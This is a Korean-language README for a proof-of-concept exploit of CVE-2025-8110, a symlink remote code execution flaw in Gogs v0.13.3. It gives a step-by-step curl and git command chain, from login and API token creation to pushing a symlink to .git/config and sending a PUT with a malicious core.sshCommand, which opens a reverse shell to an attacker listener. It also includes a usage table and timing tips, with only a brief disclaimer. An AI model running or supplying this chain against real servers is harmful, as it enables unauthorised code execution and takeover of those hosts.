
Gogs 심볼릭 링크 RCE(CVE-2025-8110)용 원샷 익스플로잇으로, UpdateRepoFile에 대한 단일 PUT 요청을 통해 리버스 셸을 트리거합니다.
Python 개념 증명 스크립트 for CVE-2025-8110 — Gogs v0.13.3의 UpdateRepoFile 심볼릭 링크 RCE. 단발성: 악의적인 PUT 요청 자체가 git fetch → sshCommand → 리버스 셸을 트리거합니다.
⚠️ 교육 목적 및 승인된 보안 연구에만 사용하십시오. 본인이 소유하지 않았거나 테스트에 대한 서면 허가가 없는 시스템에서 이 도구를 실행하는 것은 불법입니다.
internal/db/repo_editor.go의 UpdateRepoFile 핸들러는 os.WriteFile를 호출하여 파일 내용을 쓰는데, 이 함수는 심볼릭 링크를 확인하지 않고 따라갑니다. 이전에 심볼릭 링크를 커밋하면 .git/ 디렉토리로 들어간다는 사실과 결합하여, 공격자는 다음을 수행할 수 있습니다:
x → .git/config 심볼릭 링크를 푸시합니다.core.sshCommand가 리버스 셸 명령으로 설정된 악의적인 .git/config를 포함하여 PUT /api/v1/repos/{owner}/{repo}/contents/x를 호출합니다.git fetch origin을 트리거합니다(CreateOrUpdateRepoFile → UpdateLocalCopyBranch를 통해). 그러면 수정된 설정을 읽고 sshCommand를 실행하여 한 번에 리버스 셸을 생성합니다.poc.py: 대상 호스트, 사용자 이름, 비밀번호, LHOST 및 LPORT를 입력받고, 로그인하여 API 토큰을 생성하고, 레포지토리를 생성하고, 심볼릭 링크를 푸시한 다음 API를 통해 .git/config를 덮어씁니다. — 단일 PUT 요청 자체가 리버스 셸을 트리거합니다.실행:
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
| 인수 | 필수 | 설명 |
|---|---|---|
--target / -t | 예 | Gogs 대상 호스트명 또는 URL |
--username | 예 | 기존 Gogs 사용자 이름 |
--password | 예 | 기존 Gogs 비밀번호 |
--lhost | 예 | 리버스 셸용 리스너 IP |
--lport | 예 | 리스너 포트 |
/user/settings/applications를 통해 개인 API 토큰을 생성합니다.x → .git/config 심볼릭 링크를 생성한 후 커밋하고 푸시합니다.core.sshCommand와 SSH 원격 URL이 포함된 악성 git 설정과 함께 PUT /api/v1/repos/{owner}/{repo}/contents/x를 전송합니다. Gogs의 CreateOrUpdateRepoFile은 내부적으로 UpdateLocalCopyBranch → git fetch origin을 호출하며, 이는 오염된 설정을 읽고 sshCommand를 실행하여 한 번의 요청으로 리버스 셸을 생성합니다.curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# 응답에서 _csrf 추출
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# _csrf 추출
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<base64 of malicious git config>"}'
PUT 요청 자체가 git fetch origin을 트리거하여, 오염된 .git/config를 읽고 리버스 셸을 실행합니다. 두 번째 요청이 필요하지 않습니다.
왜
--max-time 10인가요? git이 쓰기 작업을 처리하고 fetch를 트리거하는 동안 서버가 약 10초 동안 중단될 수 있습니다.--max-time 10을 사용하면 curl이 셸이 다시 연결될 수 있을 만큼 연결을 유지합니다. 이 옵션이 없으면 셸이 실행되기 전에 연결이 끊어질 수 있습니다.